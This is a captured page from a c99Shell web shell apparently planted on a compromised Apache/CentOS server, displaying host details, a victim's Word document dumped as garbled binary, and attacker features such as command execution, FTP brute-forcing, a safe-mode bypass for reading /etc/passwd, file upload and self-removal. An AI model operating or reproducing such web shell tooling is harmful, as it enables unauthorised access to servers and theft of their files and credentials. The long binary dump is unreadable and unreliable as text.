!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/form/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     car.doc (44.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
ࡱ>	TVS#`	;bjbjmm	VDD	D	D	D	D	6	`
`
`
`
moooooo$,h] `
`
'`
`
mm`
	t%D	kJm06R\
6``C--8!14C
I#"L-2#2
2#
*H'#2
2#  
5H ......................................                       			            '15H..........@7-............................(...............
@#7H- -C
I#"L#2
2#
@#5" 
	I2@I2......................................................................................3A+H.................................................................
*11...............................................................................................................................................*21#0#!#2


--8!14C
I#"LD#2
2#5H...........................................................................................1+'1........................................
@7H-.....................................................................................................................................9I#H'!@42...........................
+!2"@+8.................................................................................................................................................................................
#0@ C2#-C
I#"L   SHAPE  \* MERGEFORMAT  2#-#!  SHAPE  \* MERGEFORMAT  2#(6)292  SHAPE  \* MERGEFORMAT  #0
8!  SHAPE  \* MERGEFORMAT  *1!!2  SHAPE  \* MERGEFORMAT  '4"2#  SHAPE  \* MERGEFORMAT  4@(2  SHAPE  \* MERGEFORMAT  -7HF
*202#@42          I27        D%1       *H-"H2@5"'       #1-"H2@5"'       #1*H   5#0!2........................
 SHAPE  \* MERGEFORMAT   #1'4"2#
7H-............................................................................................@'%2#1.......................@'%2*H........................
*25H.............................................................................................................B#(1L........................................................
-I22#-C
IC'15H..................................................@'%2....................
6'15H........................................................................@'%2....................    B"    SHAPE  \* MERGEFORMAT  C
I  #      SHAPE  \* MERGEFORMAT  D!HC
I  #
*3+#19I1#"L
C+IC
I#"BDX\^					6bd&
d
j
n



ðxkkkkk^QhV2CJOJQJo(hlYhlYCJOJQJh	ZCJOJQJo(hs~CJOJQJo(h}CJOJQJo(hlYhlYCJOJQJo(hlYhlYCJOJQJo($h}hlY5CJOJQJ\o("hlYhlY5CJ$OJQJ\aJ$%hlYhlY5CJ$OJQJ\aJ$.jhlYhlY5OJQJU\mHnHuD^			d
 x0VJ++,-.F0Z002z3gdxvFgdlY$a$gdlY; <>@BDFHbdfhֿ̿vֿdSֱֿ!jh	Zh	ZCJOJQJU"jh	ZOJQJUmHnHu!jh	Zh	ZCJOJQJU)jh	ZCJOJQJUmHnHo(uh	ZCJOJQJo(h	ZCJOJQJjh	ZCJOJQJUhlYCJOJQJo(hlYCJOJQJh	ZCJOJQJo(hlYhlYCJOJQJo(hlYhlYCJOJQJ "$&(*,.>@nprtv񪟪ߎ񪟪}iX!jh	Zh	ZCJOJQJU&jh	ZCJOJQJUmHnHu!j@h	Zh	ZCJOJQJU!jh	Zh	ZCJOJQJUh	ZCJOJQJo(h	ZCJOJQJhlYCJOJQJo(h	ZCJOJQJo(!j h	Zh	ZCJOJQJU"jh	ZOJQJUmHnHujh	ZCJOJQJU"8ʹ笜reXeXeN@jhW0CJOJQJUhlYCJOJQJh^CJOJQJo(hlYCJOJQJo()jhlYCJOJQJUmHnHo(u)jh^CJOJQJUmHnHo(uh	ZhlYCJOJQJo(h	ZCJOJQJo(!j`h	Zh	ZCJOJQJU"jh	ZOJQJUmHnHuh	ZCJOJQJo(h	ZCJOJQJjh	ZCJOJQJU "$(v
.Tnv~reZOhW0CJOJQJo(hlYCJOJQJo(h	ZCJOJQJo(h{CJOJQJo(	h{hlYCJOJQJhpeCJOJQJo(hXCJOJQJo(hW0CJOJQJo(hlYCJOJQJo(!jhW0hW0CJOJQJU)jhW0CJOJQJUmHnHo(ujhW0CJOJQJUhW0CJOJQJ.0TVj*H+J+++~,,- -༱ƃvkvivkvkv_RHh}CJOJQJhS}CJOJQJo(hxvFCJOJQJUhxvFCJOJQJo(hxvFCJOJQJo(hlYCJOJQJo(!jhW0hW0CJOJQJU"jhW0OJQJUmHnHuhW0CJOJQJo(hW0CJOJQJhW0CJOJQJo(hlYCJOJQJo(jhW0CJOJQJU!jhW0hW0CJOJQJUL..................................................................................................................................................................
121#5H 1 .........................................................
121#5H 2..........................................................
'15H--@42.........................@%5HD!%L.........................			(%
7H-).........................................................
'15H@42%1........................@%5HD!%L..........................			        (...........................................................)
                                                                                                                        (3A+H).........................................................
									
6@#5"!2@7H-B#-8!14 					 	             '2!@+G+1'+I2 2/H2"/+H'"
                                                                                                                                  & & & & & & & & & & & & & & & & 
(%
7H-)...........................................9I1"22+0                                            (%
7H-)..........................................................
    (....................................................)					          (..& & & & & & & & & & & & & & )	
(%
7H-)...........................................+1'+I2"22+0                                  (3A+H)..........................................................          
    (....................................................)					    '15H..........@7-........................(............  
								              
								3*1H                      
								                  -8!14             D!H-8!14

                                                                                                                             (%
7H-)..........................................................	
                                                                                                                                       (& & & & & & & & & & & & & & ..)     
							                    '15H.........@7-.........................(..........																					
 -"-.-0----B.D.P.T......////F0X0Z00000000011111222(2*2222233x3z3333044464擉擉ٷ淉hsCJOJQJh}CJOJQJhS}hxvFCJOJQJo(hS}CJOJQJhxvFCJOJQJhS}CJOJQJo(hxvFCJOJQJo(h}CJOJQJo(hxvFCJOJQJo(hsCJOJQJo(6z3445667779J:;gdlYgdxvF
64B4D4444x5555566666666777&7(7J7779
99>:P:::;hsCJOJQJo()jhsCJOJQJUmHnHo(uhxvFCJOJQJo(hsCJOJQJhxvFCJOJQJhsCJOJQJo(hxvFCJOJQJo("21h:p. A!"6#$h%nay&$PNG


IHDR!~gAMA0PLTEO&I
IDATx]	8
--"ْ\ՕB,p0a!P/.b#&]Hz
{)`|r10~7a|
nh-~w_?1[y/ðaFkt14`n<[-4/a0V{	=
܃	alcNCi8;dJGOAO0~N4iz!b܃!x@%D\aLOs&0Dpa_71.0tv^`@GS$VX.05'aU6c`>J'0\}0ˀqHۘU57#ޣXzcv
kER.6Qmx-p04"_b0ڑ,e[>sC:qP?h9FwwBr\p;Yӡ۩4#al`8ݛoWE=>/?xI_Vo#.-rK_9Ռm~
ÍF?
o+3swV-Sw]\^]{l\mc(`tx;q^'hgUŨp֐Ӊ-aHx5APo`LxHD>^KLx^
gz ݏ5le:0<`LXoF\X9P%lTsjץ.ev0u ~lT'0Ɂ\X

;mܙ{,!X9=`S`"	\,-x$LV'.zCz.s9
0(
P0vKv;Fv3NO0'vqoTpfg\IEt}ȤH:?~d{s*pCTdT,<Г7&=:ᧀV[QY5-\W|A\jPFk4ap7`VYF|S@2
:H\G/暇	PB9/xi6bJz/"1|	vğFJ3nxɸ0.dn\C0Xanќ=oXJ{4D,)ԁ%^f&K,;:p*X	0sXl<йw3g,.gyG4&E`bӕ/JC:H'n0E#fԝj^[Gwтg\,PkTJ<V7ay}`΃@	{Tem<ϹN[87o6R'VzSUzVQ\ʤw0H{\|YW݋CPj]1vxĻYʠu$Іs<6.
3܋aYPݙSI$.`0W׆ MhPN)R!
聻)WRO$;dFA5jfݗ*FAnt>y
#JBsUR_9"D^_cY:9ѫU}ɭF=3ژqXd&]V%;8,.dsyR~u}CcTF,;{0"2˨%ŽVeUVpC\P|GI-hxVι5p@yuTL+ jR׽0ra&bK6TlS-JOn
.w`Pb-J($_;;daPrUDoi$K`*HA_al& 3[)A$w`X/"+H)E?8*"p.P{0r3οfN`V4"*s0~|	Y/
Zz4(sua*6p	^^,^k#60>OTc]:n``9h	KhEP|Y"%k2Spmv-S.7AM005Z%sӀ0BoI4r`A-L@g׈A]6a9SMUnLNĄώ	?!6	y3pg*rE,mdBU!{pF
a!awah3$7#0<ma^<a)Q)yJE*mE381hD'[v:y)9m" V6J#1QjJg[+06>r8zdD^Ks$8F(H(Nc	#%aOb&{MYN+W>Q,0ԓ{sqOOBΒȑ莝j!y^cU.Ѩ}*IKnuJ[$!x_/
^(=qL504!h
CF.kI?]+ru>})+}>'!i޼`pI,)SghvA|Qɡg;-3
cYW-~^-+w<u]#`lg*U0w!S%`;GeSlDIg7<=L+ҲnR*f\s%Eu:B8	
K2`z5Rb䗱:L|Zr݋p_@#\P\ʒ-y%^䠠[J"ҵ7a(_[ZefR^Qs\.POㆬd$~IBeޮF\
*zah=-blsS}E
Vrg܇Q?	6bִ{¸#Gʚ)3.2&i~#ˆi%UN=FȽ!3xn	$yQ
0{y]E!׾D_	#]7y'B4%ņ`o|eҍZC-
.56ߒv)V9<))97̩o
	^Ew,,mbMrE`JTJۆ.	>ztsUK]HjG=\XHZZ7CU$Dwz\4ss4nZآօ6Z>3lJ򫄙[΃j'`ԚPbGF6Ѽ#C&+>~(۲/=a%zǞ&OV@oE:2[83Cj6vŝND(}(ҁ	:ܕ%tgQPoЀg70ohWݗ4r2c0X~EjP#x@mH؟6*F#CE
	oljQ'cY?# "%pgj;G4FbvUˆ(0ajt;x߮mbWKa PaJ q<O!
:-M %"Qw6(ztk	¶qΒ!)#mC6Rtr>+bF-M[,r'Ws J|901dgƮↄ)5sQ;cEëKi
5dzOw=aGRXGc.aP᜘%~̰hF7}*Ez/A)U;Ri流Nf#y)5<'ybo'BטY3`F$Q܃Dw?G>0hL[³<@qFSY!<_ß0&i,w[",A;`N%zrbG0X{+i'&hFUg_}Ikwі|BN/C1^~i3,g]
5<%A,7@r敔ؿ闬ߔo5@)|B$^c!(8c3yP
.p_SS҂[)	i߾46-_>Vd,F8պN<tqHcMQŷ'chPr}
@P;W(oHtw]<Ko,/|F?#޷7Y2 `,!ǔKè$NmQ4	o;½&'	R!Ɂ|LdQrO'*f-FGOuc^;3VN=Q?o#]fȫck;Sќ6	v'QS\Sizv?^8:ڽԷVaη7b!nt+kCM1}ɥa({:x|OQ%^\wG"FO)%lvx}n
JڿТښ(0ΉQq(1az"x 5K/BЛ0ye`q93C7Tc3.͓7B~F>knJg02x$8 ]gBoWN!8NE#j>v}x"xY5I"[o2;Z908]Z:+H=0"nRR-Oʁݗd;INPGUμE݂0u	b'Q|U$<cgɔ;<#6llb#΅Zamh=!MucJ0mSKVPF|ֿByϨ[L^h
]}zAW`h	h8^0Zwtz?0DOn#{5|[Q~TA;O۠SO`Qާ_Ȍz[8[xƛ*u>}i|x[9`pҨ//(ľzqIENDB`DdD

3@@"?DdD

3@@"?DdD

3@@"?DdD

3@@"?DdD

3@@"?DdD

3@@"?DdD

3@@"?DdD

3@@"?DdD
	
3@@"?DdD


3@@"?	D@DNormalCJ^J_HaJmH	sH	tH	DADDefault Paragraph FontRiRTable Normal4
l4a(k(No ListDB"/2JhqZ			
/r

>yz;F0000000000000000@0@0@0@000000000000000000hqF0e00h,0004 -64;
 z3;;bz}7:E]`E]`oD__________l,-,b$ay&$4B@,H(	
b2
,
#@@ S"`?b2
+
#@@ S"`?b2
*
#@@ S"`?b2
)
#@@ S"`?b2
'
#@@ S"`?b2
&
#@@ S"`?b2
%
#@@ S"`?b2
$
#@@ S"`?b2
#
#@@ S"`?b

#@@ S"`?


lA. `KRUTH1R`TR`T(2

(2

(2


(

(

(2
 
	(2
!
B
S	?{8^hijkl^>?Dt@#t$t%t&t't)t*t!4t Ht\
't	'
tT'tt+t,ttPt!HmugjmZ				!$F!"./p12IJ|9<Dbgmpq_bY	Z					B
E




#
/
q
v


3!2Zx9.Fv


xz:;CFF{^W0xvFmjOpeS}s~	Z,@*V2}lYXs@X2XD@@@@@@@*UnknownGz Times New Roman5Symbol3&z Arial?Angsana New"qhKcfK	D!r4<<	2 HP)?jlY2 C--8!14C
I#"L-2#2
2#
RegisteredJiroatOh+'0	(4
T`l
xj$㺢͹ѵö¹ͧҧҪRegisteredNormal.dotJiroat9Microsoft Office Word@	@T}q@n@
՜.+,0hp
jMicrosoft<'!㺢͹ѵö¹ͧҧҪTitle	

 !"#$%&'()*+-./012356789:;<=>?@ABDEFGHIJLMNOPQRURoot Entry	F̣%WData
,1Table4WordDocumentVSummaryInformation(CDocumentSummaryInformation8KCompObjq
	FMicrosoft Office Word Document
MSWordDocWord.Document.89q

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0106 ]--